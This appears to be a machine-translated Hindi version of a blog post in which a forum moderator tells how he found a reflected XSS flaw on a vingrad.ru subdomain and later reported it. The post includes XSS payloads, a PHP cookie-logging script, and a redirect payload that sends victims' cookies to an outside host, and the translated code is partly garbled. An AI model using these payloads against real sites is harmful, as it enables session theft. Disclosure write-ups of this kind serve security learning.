👨🏽‍🏭 👨 🥢 एक संसाधन का इतिहास 🙅🏿 🆘 🤧

अपने जीवन में कम से कम एक बार हब्रायुजर्स एक XSS भेद्यता के साथ मिले, यह एक व्यवसाय कार्ड साइट, ब्लॉग आदि पर भेद्यता है। लेकिन हमें ~~विश्वास था~~ कि यैंडेक्स , मेल , यूट्यूब जैसे दिग्गज इस से सुरक्षित थे , लेकिन chelovekdimka के लेखों की श्रृंखला ने हमें इस बारे में आश्वस्त किया ।

लेकिन प्रोग्रामर को समर्पित सबसे बड़े रनेट संसाधनों में से एक पर स्थिति के बारे में क्या?! कौन परवाह करता है - स्वागत है ।

यह सब कैसे शुरू हुआ

सितंबर 2009 में यार्ड में था। मैं, एक हरे और स्नोटी वेब डेवलपर, को PHP अनुभाग के सह-मॉडरेटर का पद मिला। एक हाथी के रूप में खुश अवसरों की खोज कर रहा था, जब अचानक मुझे एक पागल विचार से दौरा किया गया था - "क्या मुझे कमजोरियों के लिए मंच की जांच करनी चाहिए?"
मैं SQL भेद्यता का पता नहीं लगा सका, लेकिन मैंने XSS पाया।

एक्सएसएस - यह क्या है और इसके साथ क्या खाती है!

XSS हमला वेब पर इंटरैक्टिव सूचना प्रणालियों की एक प्रकार की भेद्यता है। XSS तब होता है जब उपयोगकर्ता स्क्रिप्ट किसी कारण से सर्वर द्वारा उत्पन्न पृष्ठों में आते हैं। ऐसे हमलों की ख़ासियत यह है कि सर्वर पर सीधे हमला करने के बजाय, वे क्लाइंट पर हमला करने के साधन के रूप में एक कमजोर सर्वर का उपयोग करते हैं।

वे सशर्त रूप से दो प्रकारों में विभाजित हैं:

सक्रिय , सर्वर पर संग्रहीत और संक्रमित साइट के एक पृष्ठ को खोलने पर ट्रिगर हो जाता है;
निष्क्रिय , असुरक्षित साइट के सर्वर पर संग्रहीत नहीं है और पीड़ित के ब्राउज़र में स्वचालित रूप से निष्पादित नहीं किया जा सकता है। इसे ट्रिगर करने के लिए कुछ अतिरिक्त कार्रवाई की आवश्यकता होती है (उदाहरण के लिए, विशेष रूप से गठित लिंक पर क्लिक करना)।

खोज फोरम

एन-घंटों के अध्ययन और विभिन्न अनुरोधों के लिए इंजन को पीड़ा देने के बाद, मेरे हाथ गिर गए। और यह विचार इतना रसपूर्ण नहीं लगने लगा। और फिर पागल सोचा नंबर 2 - "अगर मंच खुद उधार नहीं देता है, तो आपको दूसरी तरफ के ~~पीछे~~ से जाना चाहिए।"

फिर भी, फोरम संशोधन पावर बोर्ड पर आधारित है और सभी पैच तब तक वितरित किए गए थे।

अनुकूल संसाधनों का पता लगाएं (* .vingrad.ru)

मेरा ध्यान ज्ञानकोष, अर्थात्, खोज क्षेत्र और अच्छे कारण से आकर्षित किया गया था।

मेरे पसंदीदा <स्क्रिप्ट> अलर्ट ('XSS') को चलाने के बाद </ script> फ़ील्ड में निर्माण करें, मुझे ... कुछ भी नहीं मिला। मापदंडों के साथ थोड़ा खेलने के बाद, यह त्रुटि संदेश के साथ त्रुटि.php स्क्रिप्ट पर पुनर्निर्देशित किया गया था, और पाठ सामान्य GET में प्रेषित किया गया था। लाभ!

कलाई की एक चंचलता के साथ, पता बार में डेटा तुरंत http: // <subdomain> .vingrad.ru / error.php? Msg = <script> अलर्ट ('XSS') में बदल गया; </ script> और कांपते हाथ प्रवेश के लिए पहुँच गए।
मुझे लगता है कि आप खुद अनुमान लगा चुके हैं कि क्या हुआ था, लेकिन अभी भी:
XSS

लगभग 10 मिनट के लिए मैं एक मूर्ख की तरह स्क्रीन पर मुस्कुराया और शाश्वत के बारे में सोचा।

क्या "लाभ" निकालना संभव है?

निश्चित रूप से, मैं नहीं चाहता ~~था और~~ किसी भी लाभ को प्राप्त करने की ~~कोशिश~~ नहीं कर रहा था, मैं सिर्फ एक पंजीकृत कंपनी की कुकी प्राप्त करना चाहता था)
लेकिन प्राधिकरण फॉर्म ने मुझे भ्रमित कर दिया, लेकिन मैं मंच पर अधिकृत हूं। इसका मतलब यह है कि एंड-टू-एंड प्राधिकरण काम नहीं करता है और आपको किसी तरह उपयोगकर्ता को लॉग इन करने के लिए मजबूर करना होगा और उसके बाद ही हमारे पते पर जाना होगा। सोशल इंजीनियरिंग में, मैं एक पूर्ण शून्य हूं, इसलिए हम अन्य तरीकों की तलाश कर रहे हैं।

कुकीज़ सेट पर एक नज़र काफी था:

कमजोरियों का फायदा उठाया जा सकता है (सभी उप-डोमेन के लिए कुकीज़ निर्धारित की गईं - * .vingrad.ru)।

हम इसके लिए अनुरोध बदलते हैं:
http: // <subdomain> .vingrad.ru / error.php? msg = <script> document.write (document.cookie.substring (0, document.cookie.length)) </ script>
और हमें लंबे समय से प्रतीक्षित डेटा मिलता है:

PHPSESSID = ag08ccg6fsdf5fdgsdf34a34s536df4f;
clickedFolderFrameless =;
PHPSESSID = eccf4sdasbefea3c8esgdf27997d;
pforumsession_id = 3ds44554sgg6754f1dd73f27ab7ec;
pforummember_id = 007;
pforumpass_hash = u3457a1259a39asb2ad4c77e682;

भेद्यता को उजागर करें

एक छोटी सी PHP स्क्रिप्ट जो सावधानीपूर्वक उपयोगकर्ता कुकीज़ को एक फ़ाइल में सहेजती है:

<?php if( isset( $_GET['q'] ) ) { $fopen = fopen( time().'.cookie', 'w' ); fwrite( $fopen, $_GET['q'] ); fclose( $fopen ); } header('Location: http://forum.vingrad.ru/forum/act-idx.html'); ?>

और अंतिम संशोधित अनुरोध:
http: // <subdomain> .vingrad.ru / error.php? msg = <script> document.location.href = 'http: //www.example.com/forum.php? vingrad ='% 2Bescape (दस्तावेज़) कुकी। substring (0, document.cookie.length)) </ script>
कई मित्रों की कुकीज़ एकत्र करने की अनुमति दी गई)

कोई चमत्कार नहीं है, प्रयोग में सभी प्रतिभागियों को एक लिंक भेजा गया था, जिसके द्वारा वे पार हो गए।

अंत

स्वाभाविक रूप से, व्यवस्थापक को इसके बारे में सूचित किया गया था, और उसके साथ मिलकर हमने इस भेद्यता को बंद कर दिया।
सभी पीड़ितों के लिए माफी मांगी गई।

एक संसाधन का इतिहास